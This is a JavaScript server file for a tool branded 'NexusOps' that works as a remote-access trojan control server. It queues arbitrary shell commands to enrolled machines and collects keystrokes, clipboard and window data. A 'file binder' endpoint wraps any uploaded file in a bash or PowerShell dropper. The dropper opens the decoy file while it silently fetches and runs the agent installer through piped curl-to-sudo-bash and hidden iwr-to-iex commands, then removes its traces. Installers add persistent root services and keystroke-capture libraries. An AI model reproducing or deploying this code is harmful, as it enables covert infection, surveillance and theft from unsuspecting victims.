681 lines
22 KiB
JavaScript
681 lines
22 KiB
JavaScript
const express = require('express');
|
|
const http = require('http');
|
|
const WebSocket = require('ws');
|
|
const path = require('path');
|
|
const cors = require('cors');
|
|
const os = require('os');
|
|
const multer = require('multer');
|
|
|
|
const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } });
|
|
|
|
const app = express();
|
|
const server = http.createServer(app);
|
|
const wss = new WebSocket.Server({ server });
|
|
|
|
const PORT = process.env.PORT || 3000;
|
|
const PUBLIC_URL = process.env.PUBLIC_URL || null; // e.g. https://agent.thetempleofdoom.com
|
|
|
|
app.use(cors());
|
|
app.use(express.json({ limit: '10mb' }));
|
|
app.use(express.static(path.join(__dirname, 'public')));
|
|
|
|
function getLocalIp() {
|
|
const interfaces = os.networkInterfaces();
|
|
for (const name of Object.keys(interfaces)) {
|
|
for (const net of interfaces[name]) {
|
|
if (net.family === 'IPv4' && !net.internal) {
|
|
return net.address;
|
|
}
|
|
}
|
|
}
|
|
return 'localhost';
|
|
}
|
|
|
|
const SERVER_IP = getLocalIp();
|
|
|
|
const nodes = new Map();
|
|
const commandQueues = new Map();
|
|
const commandHistory = [];
|
|
const masterSystemLogs = [];
|
|
const inputDataStore = [];
|
|
const MAX_INPUT_STORE = 500;
|
|
|
|
setInterval(() => {
|
|
const now = Date.now();
|
|
let changed = false;
|
|
nodes.forEach((node, id) => {
|
|
if (node.status === 'online' && now - node.lastHeartbeat > 20000) {
|
|
node.status = 'offline';
|
|
changed = true;
|
|
}
|
|
});
|
|
if (changed) {
|
|
broadcastState();
|
|
}
|
|
}, 5000);
|
|
|
|
function broadcastState() {
|
|
const payload = JSON.stringify({
|
|
type: 'NODES_UPDATE',
|
|
serverIp: SERVER_IP,
|
|
port: PORT,
|
|
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
|
nodes: Array.from(nodes.values()),
|
|
commandHistory: commandHistory.slice(-50),
|
|
masterSystemLogs: masterSystemLogs.slice(-100),
|
|
inputData: inputDataStore.slice(-200)
|
|
});
|
|
|
|
wss.clients.forEach(client => {
|
|
if (client.readyState === WebSocket.OPEN) {
|
|
client.send(payload);
|
|
}
|
|
});
|
|
}
|
|
|
|
wss.on('connection', (ws) => {
|
|
ws.send(JSON.stringify({
|
|
type: 'NODES_UPDATE',
|
|
serverIp: SERVER_IP,
|
|
port: PORT,
|
|
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
|
nodes: Array.from(nodes.values()),
|
|
commandHistory: commandHistory.slice(-50),
|
|
masterSystemLogs: masterSystemLogs.slice(-100),
|
|
inputData: inputDataStore.slice(-200)
|
|
}));
|
|
});
|
|
|
|
// REST API Endpoints
|
|
|
|
app.get('/api/status', (req, res) => {
|
|
res.json({
|
|
serverIp: SERVER_IP,
|
|
port: PORT,
|
|
serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
|
totalNodes: nodes.size,
|
|
onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length
|
|
});
|
|
});
|
|
|
|
app.get('/api/nodes', (req, res) => {
|
|
res.json(Array.from(nodes.values()));
|
|
});
|
|
|
|
app.get('/api/logs', (req, res) => {
|
|
res.json(masterSystemLogs.slice(-100));
|
|
});
|
|
|
|
// CSV Telemetry Export Endpoint
|
|
app.get('/api/export/csv', (req, res) => {
|
|
let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n";
|
|
nodes.forEach(node => {
|
|
const tagsStr = (node.tags || []).join(';');
|
|
csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`;
|
|
});
|
|
res.setHeader('Content-Type', 'text/csv');
|
|
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"');
|
|
res.send(csv);
|
|
});
|
|
|
|
// Agent System Log Streaming Endpoint
|
|
app.post('/api/agent/logs', (req, res) => {
|
|
const { nodeId, hostname, logs } = req.body;
|
|
if (Array.isArray(logs)) {
|
|
logs.forEach(logLine => {
|
|
masterSystemLogs.push({
|
|
id: `log-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`,
|
|
nodeId,
|
|
hostname: hostname || 'Unknown',
|
|
timestamp: Date.now(),
|
|
entry: logLine
|
|
});
|
|
});
|
|
if (masterSystemLogs.length > 200) {
|
|
masterSystemLogs.splice(0, masterSystemLogs.length - 200);
|
|
}
|
|
broadcastState();
|
|
}
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus
|
|
app.post('/api/agent/input-capture', (req, res) => {
|
|
const { nodeId, hostname, events } = req.body;
|
|
if (!nodeId || !Array.isArray(events)) {
|
|
return res.status(400).json({ error: 'nodeId and events[] required' });
|
|
}
|
|
|
|
events.forEach(ev => {
|
|
inputDataStore.push({
|
|
id: `inp-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`,
|
|
nodeId,
|
|
hostname: hostname || 'Unknown',
|
|
timestamp: ev.timestamp || Date.now(),
|
|
eventType: ev.eventType || 'unknown',
|
|
data: ev.data || {},
|
|
windowTitle: ev.windowTitle || '',
|
|
processName: ev.processName || ''
|
|
});
|
|
});
|
|
|
|
if (inputDataStore.length > MAX_INPUT_STORE) {
|
|
inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE);
|
|
}
|
|
|
|
if (events.length > 0) {
|
|
broadcastState();
|
|
}
|
|
|
|
res.json({ success: true, stored: events.length });
|
|
});
|
|
|
|
// Retrieve input capture data
|
|
app.get('/api/inputs', (req, res) => {
|
|
const { nodeId, eventType, limit } = req.query;
|
|
let filtered = inputDataStore;
|
|
|
|
if (nodeId) {
|
|
filtered = filtered.filter(e => e.nodeId === nodeId);
|
|
}
|
|
if (eventType) {
|
|
filtered = filtered.filter(e => e.eventType === eventType);
|
|
}
|
|
|
|
const max = parseInt(limit) || 200;
|
|
res.json(filtered.slice(-max));
|
|
});
|
|
|
|
// ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ──
|
|
app.post('/api/bind', upload.single('file'), (req, res) => {
|
|
if (!req.file) {
|
|
return res.status(400).json({ error: 'No file uploaded. Use field name "file".' });
|
|
}
|
|
|
|
const originalName = req.file.originalname;
|
|
const b64Content = req.file.buffer.toString('base64');
|
|
const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content];
|
|
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
|
const serverUrl = PUBLIC_URL || `http://${host}`;
|
|
const format = (req.query.format || 'sh').toLowerCase();
|
|
|
|
let dropper, boundName, contentType;
|
|
|
|
if (format === 'ps1') {
|
|
const psLines = [
|
|
'<#',
|
|
' Self-Extracting Dropper — ' + originalName,
|
|
' NexusOps Agent Binder (Windows)',
|
|
'#>',
|
|
'',
|
|
'$ORIGINAL_NAME = "' + originalName + '"',
|
|
'$OUTPUT_DIR = "$env:TEMP\\nexus-$pid"',
|
|
'$OUTPUT_FILE = "$OUTPUT_DIR\\$ORIGINAL_NAME"',
|
|
'$SERVER_URL = "' + serverUrl + '"',
|
|
'',
|
|
'New-Item -ItemType Directory -Path $OUTPUT_DIR -Force | Out-Null',
|
|
'Write-Host "Extracting $ORIGINAL_NAME ..."',
|
|
'',
|
|
'$scriptPath = $MyInvocation.MyCommand.Path',
|
|
'$lines = Get-Content $scriptPath',
|
|
'$markerIdx = [array]::IndexOf($lines, "__PAYLOAD_BASE64__")',
|
|
'if ($markerIdx -ge 0) {',
|
|
' $b64 = ($lines[($markerIdx+1)..($lines.Length-1)] -join "")',
|
|
' [IO.File]::WriteAllBytes($OUTPUT_FILE, [Convert]::FromBase64String($b64))',
|
|
'}',
|
|
'',
|
|
'Start-Process $OUTPUT_FILE -WindowStyle Normal',
|
|
'',
|
|
'Write-Host "[*] Deploying NexusOps agent..."',
|
|
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command iwr -useb $SERVER_URL/install.ps1 | iex" -WindowStyle Hidden',
|
|
'',
|
|
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 30; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
|
|
'',
|
|
'Write-Host "Done — file opened, agent deployed."',
|
|
'__PAYLOAD_BASE64__',
|
|
...b64Lines
|
|
];
|
|
dropper = psLines.join('\r\n');
|
|
boundName = originalName + '.ps1';
|
|
contentType = 'text/plain';
|
|
} else {
|
|
dropper = [
|
|
'#!/bin/bash',
|
|
'# ═══════════════════════════════════════════════════',
|
|
`# Self-Extracting Dropper — ${originalName}`,
|
|
'# ═══════════════════════════════════════════════════',
|
|
'set -e',
|
|
'',
|
|
`ORIGINAL_NAME="${originalName}"`,
|
|
'OUTPUT_DIR="/tmp/.nexus-$$"',
|
|
'OUTPUT_FILE="$OUTPUT_DIR/$ORIGINAL_NAME"',
|
|
`SERVER_URL="${serverUrl}"`,
|
|
'',
|
|
'mkdir -p "$OUTPUT_DIR"',
|
|
`echo "Extracting ${originalName} ..."`,
|
|
'',
|
|
'ARCHIVE_START=$(awk \'$0 == "__PAYLOAD_BASE64__" {print NR+1; exit}\' "$0")',
|
|
'tail -n +$ARCHIVE_START "$0" | base64 -d > "$OUTPUT_FILE" 2>/dev/null',
|
|
'',
|
|
'# Open with default handler',
|
|
'if command -v xdg-open &>/dev/null; then',
|
|
' xdg-open "$OUTPUT_FILE" 2>/dev/null &',
|
|
'elif command -v open &>/dev/null; then',
|
|
' open "$OUTPUT_FILE" 2>/dev/null &',
|
|
'elif command -v start &>/dev/null; then',
|
|
' start "$OUTPUT_FILE" 2>/dev/null &',
|
|
'fi',
|
|
'',
|
|
'# Silently install agent in background',
|
|
'echo "[*] Deploying NexusOps agent..."',
|
|
'(curl -sSL "$SERVER_URL/install.sh" 2>/dev/null || curl -sSL --insecure "$SERVER_URL/install.sh" 2>/dev/null) | sudo bash 2>/dev/null &',
|
|
'(curl -sSL "$SERVER_URL/install-mac.sh" 2>/dev/null | bash 2>/dev/null) &',
|
|
'',
|
|
'(sleep 60 && rm -rf "$OUTPUT_DIR") &',
|
|
'disown',
|
|
'',
|
|
'echo "Done — file opened, agent deployed."',
|
|
'exit 0',
|
|
'__PAYLOAD_BASE64__',
|
|
b64Content
|
|
].join('\n');
|
|
boundName = originalName + '.sh';
|
|
contentType = 'application/x-sh';
|
|
}
|
|
|
|
res.setHeader('Content-Type', contentType);
|
|
res.setHeader('Content-Disposition', `attachment; filename="${boundName}"`);
|
|
res.send(dropper);
|
|
});
|
|
|
|
app.post('/api/agent/register', (req, res) => {
|
|
const { hostname, platform, arch, ip, osName, tags } = req.body;
|
|
const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).substr(2, 6)}`;
|
|
|
|
const existingNode = nodes.get(nodeId);
|
|
const now = Date.now();
|
|
|
|
const nodeData = {
|
|
id: nodeId,
|
|
hostname: hostname || 'Unknown-Host',
|
|
platform: platform || 'linux',
|
|
arch: arch || 'x64',
|
|
osName: osName || platform,
|
|
ip: ip || req.ip.replace(/^.*:/, '') || '127.0.0.1',
|
|
status: 'online',
|
|
firstSeen: existingNode ? existingNode.firstSeen : now,
|
|
lastHeartbeat: now,
|
|
cpuUsage: 0,
|
|
memUsage: 0,
|
|
diskUsage: 0,
|
|
uptime: 0,
|
|
processCount: 0,
|
|
tags: tags || ['Default'],
|
|
heartbeatInterval: 5,
|
|
metricsHistory: existingNode ? existingNode.metricsHistory : []
|
|
};
|
|
|
|
nodes.set(nodeId, nodeData);
|
|
if (!commandQueues.has(nodeId)) {
|
|
commandQueues.set(nodeId, []);
|
|
}
|
|
|
|
broadcastState();
|
|
res.json({ success: true, nodeId, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}` });
|
|
});
|
|
|
|
// Agent Heartbeat
|
|
app.post('/api/agent/heartbeat', (req, res) => {
|
|
const { nodeId, cpuUsage, memUsage, diskUsage, uptime, processCount, tags, heartbeatInterval } = req.body;
|
|
|
|
if (!nodeId || !nodes.has(nodeId)) {
|
|
return res.status(404).json({ error: 'Node not registered.' });
|
|
}
|
|
|
|
const node = nodes.get(nodeId);
|
|
const now = Date.now();
|
|
|
|
node.status = 'online';
|
|
node.lastHeartbeat = now;
|
|
node.cpuUsage = typeof cpuUsage === 'number' ? Math.round(cpuUsage) : node.cpuUsage;
|
|
node.memUsage = typeof memUsage === 'number' ? Math.round(memUsage) : node.memUsage;
|
|
node.diskUsage = typeof diskUsage === 'number' ? Math.round(diskUsage) : node.diskUsage;
|
|
node.uptime = uptime || node.uptime;
|
|
node.processCount = processCount || node.processCount;
|
|
if (tags) node.tags = tags;
|
|
if (heartbeatInterval) node.heartbeatInterval = heartbeatInterval;
|
|
|
|
if (!node.metricsHistory) node.metricsHistory = [];
|
|
node.metricsHistory.push({
|
|
timestamp: new Date().toLocaleTimeString(),
|
|
cpu: node.cpuUsage,
|
|
mem: node.memUsage,
|
|
disk: node.diskUsage
|
|
});
|
|
if (node.metricsHistory.length > 30) {
|
|
node.metricsHistory.shift();
|
|
}
|
|
|
|
nodes.set(nodeId, node);
|
|
broadcastState();
|
|
|
|
const queue = commandQueues.get(nodeId) || [];
|
|
const pendingCommands = [...queue];
|
|
commandQueues.set(nodeId, []);
|
|
|
|
res.json({ success: true, commands: pendingCommands });
|
|
});
|
|
|
|
// Command Result Callback
|
|
app.post('/api/agent/command-result', (req, res) => {
|
|
const { commandId, nodeId, output, exitCode } = req.body;
|
|
const entry = commandHistory.find(c => c.id === commandId);
|
|
if (entry) {
|
|
entry.status = exitCode === 0 ? 'completed' : 'failed';
|
|
entry.output = output;
|
|
entry.completedAt = Date.now();
|
|
}
|
|
broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// Queue Command for Single Node
|
|
app.post('/api/nodes/:id/command', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
const { command, actionType, payload } = req.body;
|
|
|
|
if (!nodes.has(nodeId)) {
|
|
return res.status(404).json({ error: 'Node not found' });
|
|
}
|
|
|
|
const commandId = `cmd-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
|
|
const actionName = actionType || 'raw_command';
|
|
|
|
const cmdObj = {
|
|
id: commandId,
|
|
actionType: actionName,
|
|
payload: payload || { command },
|
|
command: command || actionName,
|
|
createdAt: Date.now()
|
|
};
|
|
|
|
if (!commandQueues.has(nodeId)) {
|
|
commandQueues.set(nodeId, []);
|
|
}
|
|
commandQueues.get(nodeId).push(cmdObj);
|
|
|
|
commandHistory.push({
|
|
id: commandId,
|
|
nodeId,
|
|
hostname: nodes.get(nodeId).hostname,
|
|
command: command || `${actionName} (${JSON.stringify(payload)})`,
|
|
status: 'queued',
|
|
createdAt: Date.now(),
|
|
output: ''
|
|
});
|
|
|
|
broadcastState();
|
|
res.json({ success: true, commandId });
|
|
});
|
|
|
|
// Queue Bulk Command
|
|
app.post('/api/nodes/bulk-command', (req, res) => {
|
|
const { command, actionType, payload } = req.body;
|
|
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
|
|
|
|
if (onlineNodes.length === 0) {
|
|
return res.status(400).json({ error: 'No online nodes available' });
|
|
}
|
|
|
|
const queuedIds = [];
|
|
onlineNodes.forEach(node => {
|
|
const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
|
|
const actionName = actionType || 'raw_command';
|
|
|
|
const cmdObj = {
|
|
id: commandId,
|
|
actionType: actionName,
|
|
payload: payload || { command },
|
|
command: command || actionName,
|
|
createdAt: Date.now()
|
|
};
|
|
|
|
if (!commandQueues.has(node.id)) {
|
|
commandQueues.set(node.id, []);
|
|
}
|
|
commandQueues.get(node.id).push(cmdObj);
|
|
|
|
commandHistory.push({
|
|
id: commandId,
|
|
nodeId: node.id,
|
|
hostname: node.hostname,
|
|
command: `[BULK] ${command || actionName}`,
|
|
status: 'queued',
|
|
createdAt: Date.now(),
|
|
output: ''
|
|
});
|
|
queuedIds.push(commandId);
|
|
});
|
|
|
|
broadcastState();
|
|
res.json({ success: true, count: onlineNodes.length, commandIds: queuedIds });
|
|
});
|
|
|
|
app.delete('/api/nodes/:id', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
nodes.delete(nodeId);
|
|
commandQueues.delete(nodeId);
|
|
broadcastState();
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// ── Kill Switch — shutdown all agents on all nodes ──
|
|
app.post('/api/nodes/killswitch', (req, res) => {
|
|
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
|
|
if (onlineNodes.length === 0) {
|
|
return res.json({ success: false, error: 'No online nodes to kill', count: 0 });
|
|
}
|
|
onlineNodes.forEach(node => {
|
|
if (!commandQueues.has(node.id)) commandQueues.set(node.id, []);
|
|
commandQueues.get(node.id).push({
|
|
id: `kill-${Date.now()}`,
|
|
actionType: 'kill_agent',
|
|
payload: {},
|
|
command: 'kill_agent',
|
|
createdAt: Date.now()
|
|
});
|
|
});
|
|
broadcastState();
|
|
res.json({ success: true, count: onlineNodes.length, message: `Kill switch sent to ${onlineNodes.length} node(s)` });
|
|
});
|
|
|
|
// ── Export Input Capture as CSV ──
|
|
app.get('/api/inputs/csv', (req, res) => {
|
|
let csv = 'ID,NodeID,Hostname,Timestamp,EventType,Data,WindowTitle\n';
|
|
inputDataStore.slice(-500).forEach(e => {
|
|
const dataStr = JSON.stringify(e.data || {}).replace(/"/g, '""');
|
|
csv += `"${e.id}","${e.nodeId}","${e.hostname}","${new Date(e.timestamp).toISOString()}","${e.eventType}","${dataStr}","${(e.windowTitle || '').replace(/"/g, '""')}"\n`;
|
|
});
|
|
res.setHeader('Content-Type', 'text/csv');
|
|
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_InputCapture.csv"');
|
|
res.send(csv);
|
|
});
|
|
|
|
// ── Ping node — latency check ──
|
|
app.post('/api/nodes/:id/ping', (req, res) => {
|
|
const nodeId = req.params.id;
|
|
if (!nodes.has(nodeId)) {
|
|
return res.status(404).json({ error: 'Node not found' });
|
|
}
|
|
if (!commandQueues.has(nodeId)) commandQueues.set(nodeId, []);
|
|
const cmdId = `ping-${Date.now()}`;
|
|
commandQueues.get(nodeId).push({
|
|
id: cmdId,
|
|
actionType: 'ping_check',
|
|
payload: { timestamp: Date.now() },
|
|
command: 'ping_check',
|
|
createdAt: Date.now()
|
|
});
|
|
broadcastState();
|
|
res.json({ success: true, commandId: cmdId });
|
|
});
|
|
|
|
app.get('/install.sh', (req, res) => {
|
|
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
|
const script = `#!/bin/bash
|
|
# Network Node Agent One-Liner Installer for Linux
|
|
set -e
|
|
|
|
SERVER_URL="http://${host}"
|
|
INSTALL_DIR="/opt/network-agent"
|
|
SERVICE_FILE="/etc/systemd/system/network-agent.service"
|
|
|
|
echo "=================================================="
|
|
echo " NexusOps Network Node Agent Installer "
|
|
echo "=================================================="
|
|
echo "Connecting to Server Endpoint: $SERVER_URL"
|
|
|
|
mkdir -p "$INSTALL_DIR"
|
|
|
|
echo "[1/3] Downloading agent script..."
|
|
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
|
|
chmod +x "$INSTALL_DIR/agent.py"
|
|
|
|
echo "[2/4] Configuring systemd background daemon..."
|
|
cat << EOF > "$SERVICE_FILE"
|
|
[Unit]
|
|
Description=NexusOps Node Telemetry & Management Agent
|
|
After=network.target
|
|
|
|
[Service]
|
|
Type=simple
|
|
ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL
|
|
Restart=always
|
|
RestartSec=5
|
|
User=root
|
|
|
|
[Install]
|
|
WantedBy=multi-user.target
|
|
EOF
|
|
|
|
echo "[3/4] Installing pynput for keystroke/click capture..."
|
|
pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
|
|
|
echo "[4/4] Enabling & Starting Agent Service..."
|
|
systemctl daemon-reload
|
|
systemctl enable network-agent
|
|
systemctl restart network-agent
|
|
|
|
echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
app.get('/install.ps1', (req, res) => {
|
|
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
|
const script = `# Network Agent PowerShell Installer for Windows
|
|
$SERVER_URL = "http://${host}"
|
|
$INSTALL_DIR = "C:\\ProgramData\\NetworkAgent"
|
|
|
|
Write-Host "==================================================" -ForegroundColor Cyan
|
|
Write-Host " NexusOps Node Agent Installer (Windows) " -ForegroundColor Cyan
|
|
Write-Host "==================================================" -ForegroundColor Cyan
|
|
Write-Host "Connecting to Server Endpoint: $SERVER_URL" -ForegroundColor Yellow
|
|
|
|
if (!(Test-Path $INSTALL_DIR)) {
|
|
New-Item -ItemType Directory -Path $INSTALL_DIR | Out-Null
|
|
}
|
|
|
|
Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
|
|
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"
|
|
|
|
Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
|
|
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL" -WindowStyle Hidden
|
|
|
|
Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
app.get('/install-mac.sh', (req, res) => {
|
|
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
|
const script = `#!/bin/bash
|
|
# macOS Node Agent Installer — launchd background daemon
|
|
set -e
|
|
|
|
SERVER_URL="http://${host}"
|
|
INSTALL_DIR="/opt/network-agent"
|
|
PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist"
|
|
|
|
echo "=================================================="
|
|
echo " NexusOps Node Agent Installer (macOS) "
|
|
echo "=================================================="
|
|
echo "Connecting to Server Endpoint: $SERVER_URL"
|
|
|
|
echo "[1/4] Creating installation directory..."
|
|
sudo mkdir -p "$INSTALL_DIR"
|
|
sudo chown "$(whoami)" "$INSTALL_DIR"
|
|
|
|
echo "[2/4] Downloading cross-platform Python agent..."
|
|
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
|
|
chmod +x "$INSTALL_DIR/agent.py"
|
|
|
|
echo "[3/4] Installing pynput for input capture..."
|
|
python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
|
|
|
echo "[4/4] Configuring launchd background daemon..."
|
|
mkdir -p "$HOME/Library/LaunchAgents"
|
|
cat << EOF > "$PLIST_FILE"
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
<plist version="1.0">
|
|
<dict>
|
|
<key>Label</key>
|
|
<string>com.nexusops.agent</string>
|
|
<key>ProgramArguments</key>
|
|
<array>
|
|
<string>/usr/bin/python3</string>
|
|
<string>$INSTALL_DIR/agent.py</string>
|
|
<string>--server</string>
|
|
<string>$SERVER_URL</string>
|
|
</array>
|
|
<key>RunAtLoad</key>
|
|
<true/>
|
|
<key>KeepAlive</key>
|
|
<true/>
|
|
<key>StandardOutPath</key>
|
|
<string>$INSTALL_DIR/agent.log</string>
|
|
<key>StandardErrorPath</key>
|
|
<string>$INSTALL_DIR/agent.log</string>
|
|
</dict>
|
|
</plist>
|
|
EOF
|
|
|
|
launchctl unload "$PLIST_FILE" 2>/dev/null || true
|
|
launchctl load "$PLIST_FILE"
|
|
|
|
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
|
|
echo " To stop: launchctl unload $PLIST_FILE"
|
|
`;
|
|
res.setHeader('Content-Type', 'text/plain');
|
|
res.send(script);
|
|
});
|
|
|
|
app.get('/agent.py', (req, res) => {
|
|
res.sendFile(path.join(__dirname, 'agents', 'agent.py'));
|
|
});
|
|
|
|
server.listen(PORT, '0.0.0.0', () => {
|
|
const publicEndpoint = PUBLIC_URL || `http://${SERVER_IP}:${PORT}`;
|
|
console.log(`=======================================================`);
|
|
console.log(`🚀 NexusOps Central Node Control Server is running!`);
|
|
console.log(`🌐 Local Web UI: http://localhost:${PORT}`);
|
|
console.log(`📡 Network Endpoint: ${publicEndpoint}`);
|
|
if (PUBLIC_URL) {
|
|
console.log(`🔗 Public Tunnel: ${PUBLIC_URL}`);
|
|
}
|
|
console.log(`=======================================================`);
|
|
});
|